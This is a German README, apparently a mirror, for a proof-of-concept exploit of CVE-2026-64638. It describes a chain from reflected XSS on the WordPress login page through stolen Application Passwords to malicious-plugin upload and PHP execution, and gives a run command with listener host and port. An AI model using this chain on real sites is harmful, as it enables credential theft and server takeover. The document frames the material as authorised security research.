
Proof-of-concept, das WordPress-Pre-Auth-XSS zu RCE über DOM-Clobbering, REST-API-Missbrauch und den Upload bösartiger Plugins für die serverseitige Ausführung ausnutzt. Nur für autorisierte Tests.
HackSpeak-Mirror. Dieses Repository ist ein Mirror des von WordSec veröffentlichten XSS2Shell-PoC für Bildungszwecke (CVE-2026-64638), der Code ist identisch mit dem Upstream; Upstream ist MIT-Lizenz, Copyright (c) 2026 WordSec.
⚠️ Nur für Sicherheitsforschung und autorisierte Tests; nur gegen WordPress-Sites ausführen, die man besitzt oder für die eine schriftliche Autorisierung zur Bewertung vorliegt. Der PoC erzeugt und bereinigt temporäre Veröffentlichungen; richten Sie ihn nicht gegen Administratoren Dritter oder Produktionssysteme.
XSS2Shell (CVE-2026-64638) ist ein vorauthentifiziertes reflektiertes XSS auf der WordPress-Loginseite (wp-login.php), das über eine vollständige Kette zu serverseitiger PHP-Codeausführung (RCE) eskaliert werden kann.
strip_tags() und WordPress KSES (wp_kses_post()) – wird ein Leerzeichen zwischen < und dem Tag-Namen eingefügt (z. B. < area), behandelt Ersteres dies als normalen Text und erhält es, während Letzteres es als gültiges HTML-Element parst (<area>/<div>/<button> stehen alle auf der Zulassungsliste);ajaxurl → das auf der Loginseite enthaltene user-profile.js löst automatisch einen jQuery-POST aus → REST-API-JSONP (_jsonp) → Same-Origin-Method-Execution (SOME, Paulos Yibelo 2022) → fensterübergreifender Klick auf die Autorisierungsschaltfläche für Application Passwords des Administrators → API-Anmeldeinformationen stehlen → eine Seite mit <script> veröffentlichen → schädliche Plugin-ZIP hochladen → PHP direkt ausführen (ohne Aktivierung);python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
Abhängigkeiten: Python 3.7+, keine Drittanbieter-Pakete; erfordert, dass ein Administrator an der Zielseite angemeldet ist und die Angreifer-URL öffnet (eine Interaktion).
| Parameter | Beschreibung |
|---|
-t, --target | WordPress-Basisadresse (mit http/https, automatische Normalisierung abschließender Schrägstriche) |
-c, --command | Befehl, der ausgeführt werden soll, sobald die Shell bereit ist |
--lhost / --lport | Lauschadresse/-port (lport 0 = zufällig) |
--keep | Temporäre Veröffentlichungsseite behalten (Standard: Bereinigung) |